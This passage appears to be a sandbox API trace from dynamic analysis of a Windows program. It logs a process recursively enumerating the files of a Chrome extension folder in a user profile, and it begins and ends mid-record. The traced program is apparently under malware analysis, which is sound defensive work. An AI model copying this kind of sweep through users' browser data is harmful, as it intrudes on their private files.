dwReserved0=0x0, dwReserved1=0x0, cFileName="5817.313.0.5_0", cAlternateFileName="581731~1.5_0")) returned 1 [0278.997] GetProcessHeap () returned 0x550000 [0278.997] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0278.997] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*", lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836e0310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6399c8 [0278.999] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836e0310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.999] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83637bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8363f0f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="angular.js", cAlternateFileName="")) returned 1 [0278.999] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83641800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83643f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xa89c, dwReserved0=0x0, dwReserved1=0x0, cFileName="background_script.js", cAlternateFileName="BACKGR~1.JS")) returned 1 [0278.999] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83646620, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83648d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x181aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_game_sender.js", cAlternateFileName="CAST_G~1.JS")) returned 1 [0278.999] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8364db50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8364db50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x111e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_route_details.html", cAlternateFileName="CAST_R~1.HTM")) returned 1 [0278.999] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83652970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83657790, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x3a258, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_route_details.js", cAlternateFileName="CAST_R~1.JS")) returned 1 [0279.000] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8365ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836613d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xce17, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_sender.js", cAlternateFileName="CAST_S~1.JS")) returned 1 [0279.000] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83663ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836884d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836884d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_setup", cAlternateFileName="CAST_S~1")) returned 1 [0279.000] GetProcessHeap () returned 0x550000 [0279.000] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0279.000] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83663ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836884d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836884d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0279.002] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83663ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836884d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836884d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.002] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836661f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836661f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x1a1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_app.css", cAlternateFileName="")) returned 1 [0279.002] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8366b010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8366d720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x221da, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_app.js", cAlternateFileName="")) returned 1 [0279.002] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8366fe30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8366fe30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_app_redirect.js", cAlternateFileName="CAST_A~1.JS")) returned 1 [0279.002] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83674c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83674c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x1bef, dwReserved0=0x0, dwReserved1=0x0, cFileName="chromecast_logo_grey.png", cAlternateFileName="CHROME~1.PNG")) returned 1 [0279.002] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83679a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83679a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="devices.html", cAlternateFileName="DEVICE~1.HTM")) returned 1 [0279.002] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8367c180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8367c180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0279.002] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83685dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83685dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="offers.html", cAlternateFileName="OFFERS~1.HTM")) returned 1 [0279.002] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836884d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8368abe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.html", cAlternateFileName="SETUP~1.HTM")) returned 1 [0279.002] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836884d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8368abe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.html", cAlternateFileName="SETUP~1.HTM")) returned 0 [0279.002] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0279.003] GetProcessHeap () returned 0x550000 [0279.003] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0279.003] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8368d2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83694820, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_route_details", cAlternateFileName="CLOUD_~1")) returned 1 [0279.003] GetProcessHeap () returned 0x550000 [0279.003] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0279.003] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8368d2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83694820, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0279.004] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8368d2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83694820, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.004] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8368fa00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8368fa00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x174c, dwReserved0=0x0, dwReserved1=0x0, cFileName="view.html", cAlternateFileName="VIEW~1.HTM")) returned 1 [0279.004] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83694820, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x945, dwReserved0=0x0, dwReserved1=0x0, cFileName="view.js", cAlternateFileName="")) returned 1 [0279.004] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83694820, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x945, dwReserved0=0x0, dwReserved1=0x0, cFileName="view.js", cAlternateFileName="")) returned 0 [0279.004] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0279.004] GetProcessHeap () returned 0x550000 [0279.004] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0279.004] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83696f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83699640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xc878, dwReserved0=0x0, dwReserved1=0x0, cFileName="common.js", cAlternateFileName="")) returned 1 [0279.004] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8369bd50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8369bd50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xc26, dwReserved0=0x0, dwReserved1=0x0, cFileName="feedback.css", cAlternateFileName="")) returned 1 [0279.004] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836a0b70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836a0b70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x38a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="feedback.html", cAlternateFileName="FEEDBA~1.HTM")) returned 1 [0279.004] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836a5990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836a5990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x2b20, dwReserved0=0x0, dwReserved1=0x0, cFileName="feedback_script.js", cAlternateFileName="FEEDBA~1.JS")) returned 1 [0279.004] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836af5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8395fd70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0279.004] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836b1ce0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836b43f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x46039, dwReserved0=0x0, dwReserved1=0x0, cFileName="material_css_min.css", cAlternateFileName="MATERI~1.CSS")) returned 1 [0279.004] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836b6b00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836b9210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x7c33, dwReserved0=0x0, dwReserved1=0x0, cFileName="mirroring_cast_streaming.js", cAlternateFileName="MIRROR~1.JS")) returned 1 [0279.005] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836c2e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836c5560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x2adeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="mirroring_common.js", cAlternateFileName="MIRROR~2.JS")) returned 1 [0279.005] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836ca380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836cf1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x794cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="mirroring_hangouts.js", cAlternateFileName="MIRROR~3.JS")) returned 1 [0279.005] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836d3fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836d66d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x941, dwReserved0=0x0, dwReserved1=0x0, cFileName="mirroring_webrtc.js", cAlternateFileName="MIRROR~4.JS")) returned 1 [0279.005] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e6790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83624340, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83624340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1 [0279.005] GetProcessHeap () returned 0x550000 [0279.005] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0279.005] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e6790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83624340, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83624340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0279.006] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e6790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83624340, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83624340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.007] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833eb5b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am", cAlternateFileName="")) returned 1 [0279.007] GetProcessHeap () returned 0x550000 [0279.007] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0279.007] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833eb5b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.007] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833eb5b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.007] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833eb5b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, 